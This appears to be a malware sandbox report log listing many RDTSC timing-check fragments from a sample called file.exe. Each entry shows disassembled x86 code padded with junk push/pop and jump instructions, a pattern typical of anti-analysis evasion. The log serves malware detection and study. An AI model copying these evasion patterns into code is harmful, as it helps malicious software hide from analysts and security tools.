Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4947 second address: 3A494B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4A55 second address: 3A4A75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4D64 second address: 3A4D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4D68 second address: 3A4D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4D79 second address: 3A4DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3100FA300Eh 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F3100FA3015h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4DAE second address: 3A4DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F3100E5D166h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4DBC second address: 3A4DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4DC2 second address: 3A4DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4DC9 second address: 3A4DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA5FB second address: 3AA605 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3100E5D166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA605 second address: 3AA616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA616 second address: 3AA61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333576 second address: 33357C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33357C second address: 33358E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D16Ch 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33358E second address: 333592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333592 second address: 333598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A942A second address: 3A943C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007F3100FA300Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A943C second address: 3A9451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3100E5D170h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A9451 second address: 3A946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100FA3016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A95DA second address: 3A95F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3100E5D174h 0x0000000a pop edi 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A95F7 second address: 3A95FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8FBE second address: 3A8FC8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8FC8 second address: 3A8FE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3100FA3011h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8FE7 second address: 3A8FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8FEB second address: 3A8FEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A9D15 second address: 3A9D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A9D1A second address: 3A9D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3100FA3006h 0x0000000a jc 00007F3100FA3006h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A9FE6 second address: 3A9FF0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA319 second address: 3AA31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA31E second address: 3AA32F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ah 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEB76 second address: 3AEB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pushad 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3100FA3015h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEB98 second address: 3AEB9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3798FE second address: 37990E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3100FA3006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3799D1 second address: 3799DB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3799DB second address: 3799E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3100FA3006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3799E5 second address: 379A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F3100E5D173h 0x00000011 mov eax, dword ptr [eax] 0x00000013 ja 00007F3100E5D17Eh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007F3100E5D174h 0x00000022 pop eax 0x00000023 call 00007F3100E5D169h 0x00000028 jnp 00007F3100E5D16Eh 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379A4F second address: 379A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379A5B second address: 379A61 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379FC5 second address: 379FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A319 second address: 37A31F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A480 second address: 37A484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A6D1 second address: 37A732 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F3100E5D16Fh 0x00000010 movzx edx, di 0x00000013 lea eax, dword ptr [ebp+1247E1C2h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F3100E5D168h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 pushad 0x00000034 jmp 00007F3100E5D16Dh 0x00000039 mov edx, dword ptr [ebp+122D29B8h] 0x0000003f popad 0x00000040 nop 0x00000041 push ebx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A732 second address: 37A767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F3100FA3016h 0x0000000c nop 0x0000000d pushad 0x0000000e mov esi, dword ptr [ebp+122D28F8h] 0x00000014 popad 0x00000015 lea eax, dword ptr [ebp+1247E17Eh] 0x0000001b sub ch, 00000059h 0x0000001e push eax 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A767 second address: 37A76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3300D9 second address: 3300DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3300DF second address: 3300E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3300E3 second address: 3300E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3300E9 second address: 3300EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3300EF second address: 3300F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE574 second address: 3AE57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE718 second address: 3AE720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B2C27 second address: 3B2C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B2C2D second address: 3B2C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B2C35 second address: 3B2C42 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B85C1 second address: 3B85CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6F98 second address: 3B6FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D172h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6FAE second address: 3B6FCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007F3100FA3006h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F3100FA3006h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6FCF second address: 3B6FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6FD3 second address: 3B6FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6FDC second address: 3B6FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7243 second address: 3B724A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B739F second address: 3B73A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73A5 second address: 3B73AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73AF second address: 3B73B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73B3 second address: 3B73CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3017h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73CE second address: 3B73E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D174h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73E8 second address: 3B73EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73EC second address: 3B73FA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B73FA second address: 3B7400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B783F second address: 3B7843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7CC0 second address: 3B7CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3100FA3006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7CCA second address: 3B7CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7E60 second address: 3B7E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7E66 second address: 3B7E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D16Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7FD0 second address: 3B7FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7FD4 second address: 3B7FDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7FDA second address: 3B7FFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3100FA3006h 0x0000000a jmp 00007F3100FA3017h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B843B second address: 3B843F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B843F second address: 3B845A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3017h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6CDF second address: 3B6CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3100E5D166h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6CF5 second address: 3B6CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6CF9 second address: 3B6D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F3100E5D16Bh 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E64A second address: 32E65A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3100FA300Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE869 second address: 3BE899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3100E5D174h 0x00000008 jg 00007F3100E5D166h 0x0000000e jmp 00007F3100E5D171h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE899 second address: 3BE8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F3100FA3020h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BE8AC second address: 3BE8B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1936 second address: 3C195A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3100FA3018h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C195A second address: 3C195E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C195E second address: 3C1962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C148B second address: 3C14AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3100E5D166h 0x0000000a jmp 00007F3100E5D175h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C14AC second address: 3C14B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C14B1 second address: 3C14E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3100E5D172h 0x00000010 jnc 00007F3100E5D168h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6A68 second address: 3C6ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F3100FA3018h 0x0000000d push eax 0x0000000e pop eax 0x0000000f jno 00007F3100FA3006h 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushad 0x00000018 jnc 00007F3100FA3026h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6ABD second address: 3C6AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6C34 second address: 3C6C3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F3100FA3006h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6C3F second address: 3C6C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6F14 second address: 3C6F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7239 second address: 3C729C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D175h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F3100E5D166h 0x00000012 jmp 00007F3100E5D179h 0x00000017 jmp 00007F3100E5D16Fh 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3100E5D176h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37A192 second address: 37A1AB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add dword ptr [ebp+122D263Bh], edi 0x0000000f push 00000004h 0x00000011 mov dh, cl 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
